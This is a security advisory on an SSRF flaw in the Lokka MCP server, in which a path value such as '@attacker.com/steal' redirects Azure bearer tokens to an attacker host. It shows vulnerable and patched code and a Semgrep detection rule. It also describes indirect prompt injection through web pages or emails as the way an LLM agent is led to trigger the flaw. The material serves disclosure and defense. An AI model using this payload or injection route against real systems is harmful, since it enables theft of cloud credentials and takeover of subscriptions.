Jun 20, 2026·7 min read·19 visits
Unauthenticated Server-Side Request Forgery (SSRF) in the @merill/lokka MCP server allows remote attackers to exfiltrate Azure Resource Manager OAuth 2.0 Bearer tokens to arbitrary servers via malicious path variables containing host-escape characters.
A Server-Side Request Forgery (SSRF) and Bearer Token Exfiltration vulnerability exists in the @merill/lokka (Lokka) Model Context Protocol (MCP) server prior to version 2.1.2. The server constructed Azure Resource Manager request URLs by concatenating user-controlled path parameters directly into destination request strings. By injecting authority-redefinition characters, an attacker can manipulate URL parsing to execute a host-escape attack, forcing the server to send high-privilege Azure Resource Manager (ARM) Bearer tokens to an external attacker-controlled host. This allows complete administrative access to the associated Azure subscriptions.
The @merill/lokka (Lokka) package functions as a Model Context Protocol (MCP) server designed to interface with Microsoft APIs, allowing Large Language Model (LLM) agents to perform administrative and data-querying actions within Microsoft Azure. The attack surface of this tool is exposed via its capability to accept parameter inputs, such as subscriptions and paths, which are processed backend to build HTTP requests aimed at Azure Resource Manager (ARM). Since this tool operates within a highly trusted boundary, it manages authentication credentials to call sensitive Azure administrative APIs.
Prior to version 2.1.2, Lokka was vulnerable to Server-Side Request Forgery (SSRF) categorized under CWE-918. The vulnerability originates from improper sanitization and insecure string construction of destination URLs when handling user-provided path inputs. An unauthorized remote attacker could manipulate the input parameter to bypass host boundaries, causing the server to make outward requests to unintended destinations.
This flaw carries high severity because of the authentication mechanism of the application. To fulfill queries, Lokka requests and appends a high-privilege Azure Active Directory (Entra ID) OAuth 2.0 Bearer token to the Authorization header of its outgoing requests. Under an exploitation scenario, this token is transmitted to an attacker-controlled external host, facilitating credential theft and unauthorized access to the victim's cloud subscription.
The root cause of GHSA-G2GW-Q38M-VJFC is an authority separation parsing vulnerability that arises from direct string concatenation of user-controlled input into a target URL string. Specifically, the application appended a user-supplied path variable directly to an established base URL without verifying if the path contained authority-redefinition characters. This programming error allowed the injection of the @ character, which acts as a structural delimiter within standard URL specifications.
According to RFC 3986, the @ symbol separates user information from the host authority in a URI (e.g., scheme://userinfo@host/path). When the application concatenated a path starting with @attacker.com to the base URL https://management.azure.com, it generated the malformed string https://management.azure.com@attacker.com/v1/endpoint. This string represents a syntactically valid URL where management.azure.com is interpreted as user credentials, and attacker.com is resolved as the host authority.
When standard HTTP libraries parse this generated string, they identify attacker.com as the target of the HTTP request. The library resolves the IP address of the attacker-controlled server and establishes a TCP/TLS connection to it. Because the application logic attaches the OAuth 2.0 Bearer token to this outgoing request, the HTTP client transmits the active authorization token directly to the attacker's web server.
To understand the vulnerability and its corresponding resolution, we can review the implementation of the request builder before and after the fix in commit babead878f44cc2face2f8ee55d8b706e420947e.
// VULNERABLE IMPLEMENTATION (Pre-2.1.2)
let url = "https://management.azure.com";
if (subscriptionId) {
url += `/subscriptions/${subscriptionId}`;
}
url += path; // Insecure path concatenation allows host injection
url += `?${urlParams.toString()}`;In the vulnerable implementation, the path variable is appended directly to the URL string. This allows an input like @attacker.com to structurally alter the URI authority. The patched code introduces two defensive layers: input sanitization and secure URL parsing.
// PATCHED IMPLEMENTATION (2.1.2)
function validateAzurePath(path: string): void {
if (!path) {
throw new Error("Path cannot be empty");
}
// Check for characters that can alter URL parsing
const forbiddenPatterns = [
{ pattern: /@/, reason: "contains @ (host-escape character)" },
{ pattern: /\/{2,}/, reason: "contains double slashes (protocol-relative URL)" },
{ pattern: /^https?:\/\//i, reason: "is an absolute URL" },
{ pattern: /\\/g, reason: "contains backslashes" }
];
for (const { pattern, reason } of forbiddenPatterns) {
if (pattern.test(path)) {
throw new Error(`Invalid path: ${reason}`);
}
}
if (!path.startsWith("/")) {
throw new Error("Invalid path: must start with '/'");
}
}
function buildAzureUrl(subscriptionId, path, apiVersion, queryParams) {
const urlObj = new URL("https://management.azure.com");
let pathname = "";
if (subscriptionId) {
pathname += `/subscriptions/${subscriptionId}`;
}
pathname += path;
// Assigning via the pathname property forces URL-encoding of special characters
urlObj.pathname = pathname;
urlObj.searchParams.set("api-version", apiVersion);
return urlObj.toString();
}Assigning the path to the pathname property of a WHATWG URL object ensures that any special characters like @ are automatically URL-encoded to %40, neutralizing their capacity to redefine the host authority. The validation step explicitly rejects dangerous characters, offering a robust defense-in-depth approach. This patch is complete and successfully prevents known variants of URL authority manipulation.
Exploitation of this vulnerability is highly feasible, particularly in environments where Lokka is integrated with LLM agents. Because LLMs interpret untrusted external data (such as web pages or emails) and translate them into tool calls, an attacker can use indirect prompt injection to trigger the vulnerability without direct console access.
The attacker crafts a malicious input targeting the path parameter of the Lokka tool. For example, by specifying a path value of @attacker.com/steal, the attacker forces the Lokka server to construct an outbound request to the attacker's domain.
When the Lokka server executes the tool, it first retrieves a Microsoft Entra ID access token configured for the https://management.azure.com/.default scope. The HTTP client then dispatches the GET or POST request containing the bearer token in the Authorization header to the resolved address of attacker.com. The attacker monitors incoming connection logs on their server to capture the bearer token, gaining administrative access to the victim's Azure resources.
The impact of this vulnerability is critical, as it compromises the confidentiality of authentication tokens that govern administrative access to Azure infrastructure. An exfiltrated Bearer token targeting the Azure Resource Manager endpoint (https://management.azure.com) grants the bearer the same privileges as the identity running the Lokka MCP server. This identity typically holds Reader, Contributor, or Owner permissions across one or more Azure subscriptions.
With a stolen token, an attacker can perform unauthorized actions via the Azure REST API, including querying subscription metadata, reading databases, exfiltrating database backups, deleting active virtual machines, or deploying malicious resources. Because the token is valid for its lifetime (typically one hour), an attacker can execute these operations from any location, bypassing traditional perimeter defenses.
The vulnerability is scored 8.7 under the CVSS v4 framework. This reflects high network-based confidentiality impact (VC:H) with low attack complexity (AC:L) and no requirement for privileges (PR:N) or user interaction (UI:N). In LLM-integrated environments, this vulnerability effectively acts as a vector for privilege escalation from a low-trust data input to full cloud-infrastructure control.
The primary remediation strategy is to upgrade @merill/lokka to version 2.1.2 or higher. This version implements input sanitization and secure URL parsing via the WHATWG URL constructor, completely neutralizing the path-escape vector. Organizations should audit their dependency graphs to ensure that no legacy versions of Lokka remain in use.
For environments where immediate updates are not possible, administrators should restrict outbound network traffic from the host running the Lokka server. Implementing egress firewalls to allow outbound connections only to trusted domains, specifically management.azure.com and Microsoft login endpoints, prevents the server from connecting to attacker-controlled hosts during an exploitation attempt.
Additionally, security teams can deploy a static analysis rule to detect similar vulnerabilities in custom integrations. The following Semgrep rule identifies insecure string concatenation used to construct URLs for Azure resource requests:
rules:
- id: lokka-ssrf-path-concatenation
patterns:
- pattern-either:
- pattern: |
let $URL = "https://management.azure.com" + $PATH;
- pattern: |
let $URL = "https://management.azure.com";
...
$URL += $PATH;
message: "SSRF and host-escape vulnerability. String concatenation of path inputs bypasses authority parsing security controls. Use the WHATWG URL constructor instead."
severity: ERROR
languages:
- typescript
- javascriptCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@merill/lokka Merill Fernando | < 2.1.2 | 2.1.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS Score | 8.7 (High) |
| Impact | Credential Leakage and Host-Escape |
| Exploit Status | Proof-of-Concept |
| Remediation | Patch to version 2.1.2 or later |
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
CVE-2026-16729 (GHSA-v3r7-h72x-cjcm) is a medium-severity cookie attribute injection vulnerability in Undici's web-compliant cookie utility module. Due to insufficient validation of domain parameters and raw attributes in the unparsed options array, arbitrary attributes like SameSite, HttpOnly, and Secure can be injected. This allows attackers to bypass CSRF protections, strip security flags, or override intended cookie behaviors when applications pass user-controlled values to these properties.
An interpretation conflict (CWE-436) in the cache interceptor of the undici HTTP client for Node.js causes whitespace-padded Cache-Control directives to be parsed incorrectly, leading to shared cache pollution and the unauthorized disclosure of sensitive, private, or authenticated user information (CWE-524).
CVE-2026-15157 details an improper neutralization of CRLF sequences ('CRLF Injection') within undici, a widely used Node.js HTTP/1.1 client. The vulnerability is triggered when processing request bodies that exhibit a duck-typed blob-like interface. When an application accepts untrusted data and assigns it to the .type property of such an object without setting an explicit Content-Type on the request, undici appends the value directly to the outgoing headers array without validating it against control characters. This allows remote attackers to inject carriage return and line feed sequences, culminating in arbitrary header injection, HTTP response splitting, or HTTP request smuggling.
A trust-boundary bypass and Server-Side Request Forgery (SSRF) vulnerability exists in the ip-address library versions 10.1.1 through 10.2.0 due to structural input misclassification. The library fails to resolve and normalize transition IP notations, such as IPv4-mapped IPv6 (::ffff:0:0/96) and NAT64 (64:ff9b::/96) addresses, to their embedded IPv4 representations prior to evaluation. Consequently, standard security validation checks (e.g., isLoopback, isLinkLocal, isULA) return false for these addresses. This allows remote attackers to bypass application-level IP address filters, gaining unauthorized access to internal resources, cloud metadata interfaces, and local services on dual-stack hosts or environments utilizing NAT64 gateways.
A critical authentication bypass vulnerability (CVE-2026-18574) in Check Point Security Management and Multi-Domain Security Management (MDS) Servers allows unauthenticated remote attackers to execute arbitrary system commands with administrative privileges. The flaw stems from an alternate path authentication bypass (CWE-288) in the management interface daemons.
An input validation vulnerability in the npm package `ip-address` allows unauthenticated remote attackers to bypass Server-Side Request Forgery (SSRF) protections by appending a `/0` CIDR suffix to IP address strings. This causes the library's classification helper functions to incorrectly identify internal addresses as public, external addresses, while normalization helpers resolve the address back to its internal form during network connection establishment.